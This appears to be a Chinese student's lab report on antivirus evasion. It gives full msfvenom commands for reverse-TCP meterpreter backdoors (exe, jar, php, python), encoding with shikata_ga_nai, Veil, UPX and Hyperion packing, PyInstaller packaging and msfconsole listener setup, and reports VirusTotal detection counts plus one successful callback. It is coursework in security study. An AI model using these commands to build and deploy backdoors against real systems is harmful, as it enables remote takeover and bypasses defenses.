# 20232321 2025-2026-1 《網絡與系統攻防技術》實驗三實驗報告
免殺原理與實踐
1.實驗內容
1.1實驗內容
- 通過msf編碼器生成多種類型的后門文件及其多次編碼后的文件,類型包括:exe文件,jar文件以及php文件
- 通過veil生成的后門文件
- 對后門文件進行加殼操作
- 通過C+shellcode編寫被免殺的后門文件
1.2實驗環境
-
安裝Kali鏡像以及windows7的虛擬機
![image]()
-
免殺評價的平臺 virustotal > https://www.virustotal.com/gui/home/upload

2.實驗過程
2.1通過多種方式對后門文件進行免殺處理,并使用virustotal測試免殺效果
2.1.1通過msf編碼器生成后門文件,類型包括:單次編碼的exe文件,多次編碼的exe文件,jar文件以及php文件
(1)使用msf編碼器生成單次編碼的exe文件,放入免殺評價平臺測試,最終virustotal評價平臺找到50個危險項
#單次編碼的.exe文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.83.133 PORT=5318 -f exe > 20232321msf.exe


(2)msf編碼器生成多次編碼的exe文件,放入免殺評價平臺測試,最終virustotal評價平臺找到41個危險項,與單次編碼的.exe文件比較,被發現的危險項從50個降到了41個,多次編碼對exe文件具有一定的免殺效果。
#多次編碼的.exe文件
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.83.133 LPORT=5318 -f exe > 20232321msf_10.exe


(3)msf編碼器生成Jar文件,放入免殺評價平臺測試,最終virustotal評價平臺找到34個危險項
#單次編碼的.jar文件
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.83.133 LPORT=5318 x>met20232321_jar.jar


(4)msf編碼器生成多次編碼的Jar文件,放入免殺評價平臺測試,最終virustotal評價平臺找到34個危險項,與單次編碼的jar文件比較,被發現的危險項沒有減少,多級編碼對jar文件的免殺效果并不理想。
#多次編碼的Jar文件
msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.83.133 LPORT=5318 x>met20232321_jar10.jar


(5)msf編碼器生成php文件,放入免殺評價平臺測試,最終virustotal評價平臺找到25個危險項
#單次編碼的php文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.83.133 LPORT=5318 x> met20232321_php.php


(6)msf編碼器生成多次編碼的php文件,放入免殺評價平臺測試,最終virustotal評價平臺找到8個危險項,與單次編碼的php文件比較,被發現的危險項大幅度減少,多級編碼對php文件的免殺效果較為理想。
#多次編碼的php文件
msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.83.133 LPORT=5318 x> met20232321_php10.php


2.2通過veil生成加殼的后門文件
輸入veil來啟動veil,

輸入use 1啟動Evasion模塊

輸入use 7啟動c/meterpreter/rev_tcp.py,得到meterpreter類型的、使用反向TCP連接的.exe可執行文件。

配置反彈ip和端口
set LHOST 192.168.83.133(kali的ip)
set LPORT 5318(設置端口)
Generate

可以在/var/lib/veil/output/compiled/veil_202323211.exe找到生成的veil加殼exe文件,最終virustotal評價平臺找到34個危險,說明veil加殼免殺的特征項已經被熟知了,效果不理想


2.3通過C+shellcode為自己的后門文件免殺
通過C+shellcode生成后門文件的源碼
#通過C+shellcode生成后門文件的源碼
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.83.133 LPORT=5318 -f c

再通過vim創建一個.c文件,并將用msfvenom工具生成的惡意代碼copy到.c文件中,并添加主函數的部分

使用編碼器i686-w64-mingw32-g++ 對后門源碼文件變為exe可執行文件
#使用編碼器i686-w64-mingw32-g++ 對后門源碼文件變為exe可執行文件
i686-w64-mingw32-g++ 20232321shell_1.c -o 20232321shell_1.exe
運行結果為,,最終virustotal評價平臺找到34個危險,說明通過msfvenom單次編碼的shellcode的特征碼已經有所防范了,效果也不不理想

2.4對后門文件進行加殼操作
2.4.1使用upx給該程序添加一層壓縮,最終virustotal評價平臺找到41個危險項
#使用upx給該程序添加一層壓縮
upx 20232321shell_1.exe -o 20232321shell_2.exe


2.4.2使用加密殼Hyperion為程序加密
首先通過命令cp 20232321shell_2.exe /usr/share/windows-resources/hyperion/,將已經被upx壓縮的惡意文件20232321shell_2.exe復制到Hyperion工具所在的工作目錄中。
#復制到Hyperion目錄
cp 20232321shell_2.exe /usr/share/windows-resources/hyperion/

使用cd命令進入 /usr/share/windows-resources/hyperion/
#進入 /usr/share/windows-resources/hyperion/目錄
cd /usr/share/windows-resources/hyperion

通過wined使用hyperion.exe對2022321shell_2.exe文件進行加密
#使用hyperion.exe對2022321shell_2.exe文件進行加密
wine hyperion.exe -v 20232321shell_2.exe 20232321shell_hyp.exe

結果virustotal評價平臺找到50個危險項,virustotal評價平臺可能記錄了hyperion加密的特征值

2.5通過msfvenom和加殼結合的方式生成exe后門文件
2.5.1通過msfvenom和加殼結合的方式生成exe后門文件
#通過C+shellcode生成后門文件的源碼
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.226.129 LPORT=5318 -f c

再通過vim創建一個.c文件,并將用msfvenom工具生成的惡意代碼copy到.c文件中,并添加主函數的部分

#使用編碼器i686-w64-mingw32-g++ 對后門源碼文件變為exe可執行文件
i686-w64-mingw32-g++ 20232321jh_1.c -o 20232321jh_1.exe

#使用upx給該程序添加一層壓縮
upx 20232321jh_1.exe -o 20232321jh_2.exe

#復制到Hyperion目錄
cp 20232321jh_2.exe /usr/share/windows-resources/hyperion/

#進入 /usr/share/windows-resources/hyperion/目錄
cd /usr/share/windows-resources/hyperion

#使用hyperion.exe對2022321jh_2.exe文件進行加密
wine hyperion.exe -v 20232321jh_2.exe 20232321jh_3.exe

結果分析經過hyperion.exe加密的20232321jh_3.exe的被檢測到的危險漏洞高達50個,而在加密前的20232321jh_2.exe確只被檢測到40個危險漏洞??赡苁莌yperion的特征碼已經被熟知導致的。


2.5.2通過安全監測軟件查殺生成的后門程序
將文件使用殺毒軟件進行木馬查殺掃描,仍能查出其中的威脅,應該是現在msfvenom,upx壓縮,Hyperion加密技術已經被大家熟知了,都有了相應的監測技術。

本次使用的殺毒軟件是360安全衛士極速版2025,主程序版本15.0.3.1004,木馬庫版本更新:2025-10-23。

2.6使用被免殺的后門程序連接到windows
2.6.1使用被免殺的后門程序連接到windows11
在kali虛擬機中進入msf的控制臺,配置監聽類型、IP地址與監聽端口等信息,并exploit運行
#啟動msfconsole
msfconsole
#啟動handler
use exploit/multi/handler
#設置路徑
set payload windows/meterpreter/reverse_tcp
#設置ip
set LHOST 192.168.226.129
#設置端口
set LPORT 5318
#啟動
exploit

可以看到360監測到了后門程序,即使我們添加信任后,電腦也會顯示“拒絕訪問”。在kali虛擬機msf的控制臺也沒接收到后門程序的信息。連接失敗,說明現在的win11系統已經配置了一定程度的安全免殺系統。所以接下來我下載了一個落后的win7鏡像虛擬機進行測試。


2.6.2使用被免殺的后門程序連接到windows7
下載win7,在FlasFXP老師給的映像下,找到一下目錄/常用軟件/系統鏡像。


建立共享文件,運行后門程序,顯示win7還是不允許其運行。經過查詢顯示原因該惡意軟件破壞了內存地址。win7就已經具備查殺該后門的能力。還是連接失敗,不過聽別的同學說可以通過Python連接,我試試


2.6.3使用python生成后門程序連接到win11(最關鍵的,唯一可以回連成功的)
第一步通過python生成.py的后門文件,并傳到windows主機
#
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.226.129 LPORT=2310 -f raw >20232321_python.py

第二步到官網下載python,注意選擇自動配置路徑的選項,我選的是3.11.1(版本太高了好像也不行)
下載完成后,輸入python --version顯示版本號,成功顯示則安裝配置成功。再輸入pip install pyinstaller安裝pip

通過一下命令編譯.py文件生成.exe可執行文件
#-F 表示將所有代碼和依賴打包成單個可執行文件
#--hidden-import 指定的隱藏依賴模塊
#getpass:用于安全地獲取用戶輸入的密碼
#platform:用于獲取操作系統相關信息
#shlex:用于解析類 shell 風格的命令行字符串
pyinstaller -Fw --hidden-import=getpass --hidden-import=code --hidden-import=platform --hidden-import=shlex 20232321_python.py

到生成的目錄dist查看生成的.exe文件


到kali中啟動msfconsole并配置,配置完成后雙擊主機的20232321_python.exe,可以在看到成功連接到了主機(終于有一個成功了)
#啟動msfconsole
msfconsole
#啟動handler
use exploit/multi/handler
#設置路徑
set payload python/meterpreter/reverse_tcp
#設置ip
set LHOST 192.168.226.129
#設置端口
set LPORT 2310
#啟動
exploit

成功連接后,我想看一下殺毒軟件以及監測平臺 virustota對20232321_python.exe的評價
好吧我還以為會出現0個高危漏洞呢,還是可以檢測出危險項。那為啥可以檢測出來,主機還運行呢,如果是主機的監測功能弱,為啥不換上高性能的監測系統呢?
我推測是在實際的主機中,有些正常的軟件和功能也許會有危險行為的操作,像遠程連接,主機不可能完全禁止,也許會影響正常的功能,而監測軟件不需要考慮那麼多。當然也可能就是主機的wingdows版本太低了。

3.問題及解決方案
-
3.1問題1:由于虛擬機無法拖拽代碼到主機,我使用ncat的方式傳輸,結果剛剛還可以檢測出危險性的殺軟的結果顯示沒有沒有危險項。

- 問題1解決:
通過查看可以發現windows中傳輸過來的文件內存是0,說明并沒有成功傳輸。
可以使用共享文件進行傳輸。
首先在winows主機創建一個準備映像的文件夾,右鍵點擊 屬性->共享->共享(s)...,添加everyone的選項。
![image]()
![image]()
3.2問題2:在windows下運行后門程序顯示缺失了libgcc_s_dw2-1.dll

- 問題解決:我詢問AI得知libgcc_s_dw2-1.dll是MinGW下的一個動態庫,我們前去MInGW官網下載
點擊File -> MinGW->Base->gcc->Version6->gcc-6.3.0,
![image]()
![image]()
在這個頁面有很多個庫(其它庫我沒有下載驗證是否有我們需要的libgcc_s_dw2-1.dll,大家可以試試)我尋找的是下載libgcc-6.3.0-1-mingw32-dll-1的壓縮文件
![image]()
解壓縮兩次后得到文件中
![image]()
找到bin->libgcc_s_dw2-1.dll
![image]()
copy到后門文件的目錄
![image]()
終于后門程序沒有報缺失libgcc_s_dw2-1.dll的錯誤了,但是還是無法成功連接虛擬機(大悲,沒有報錯,但就是不運行嗎,o(╥﹏╥)o),所以還是老老實實的用上文的python遠程連接吧

4.學習感悟、思考等
4.1問題回答
(1)殺軟是如何檢測出惡意代碼的?
檢測惡意代碼主要有兩個方法
- 特征碼校驗:通過比對惡意軟件的代碼層面是否有被記錄的惡意代碼來判斷。像獨特的惡意代碼片段,文件的哈希值都可作為檢測認證
- 行為分析:不存儲特征代碼,而是去監測每個軟件的行為,如果軟件出現擅自更改注冊表,擅自啟動,讀取敏感文件等等異常行為,就會被認為是惡意軟件
(2)免殺是做什么?
免殺本質上就是讓惡意代碼不被檢測出來的手段,常常通過改變惡意代碼形態,偽裝惡意代碼的行為等等。
(3)免殺的基本方法有哪些?
- 針對惡意代碼:可以改變特征碼,通過加殼,壓縮,加密等方法將其隱藏在正常代碼下。還可以偽裝惡意代碼的異常行為,延遲惡意行為的發動,繞過殺軟的實時監察。
- 針對殺毒軟件:可以利用殺毒軟件的漏洞,獲取殺軟的信任,讓其無法監測惡意代碼
4.2實驗感悟
在此次試驗中,我主要學習了msf編碼器的使用,veil加殼工具的使用,upx壓縮和Hyperion加密的免殺方法,在此次實驗中,有些類型的文件免殺效果很好,像多次編碼的php文件最低可只能檢測到5個危險項,當然相對的像veil加殼,upx壓縮,hyperion加密這三個工具和使用msf編碼器直接生成相比甚至被檢測到的危險項還增多了,效果并不理想,歸根結底應該是這些免殺技術已經被破解了,他們的特征值,可能進行的攻擊行為被更新進了監測庫中了,所以出現了這樣的現象。
這反映出免殺工具和殺毒工具之間“矛”和“盾”的斗爭,幾年前的免殺工具在當下的時代已經有些落伍了,只有不斷地與時俱進才能,才能不被時代所淘汰。此次實驗的經歷對我未來在學習有所幫助。









浙公網安備 33010602011771號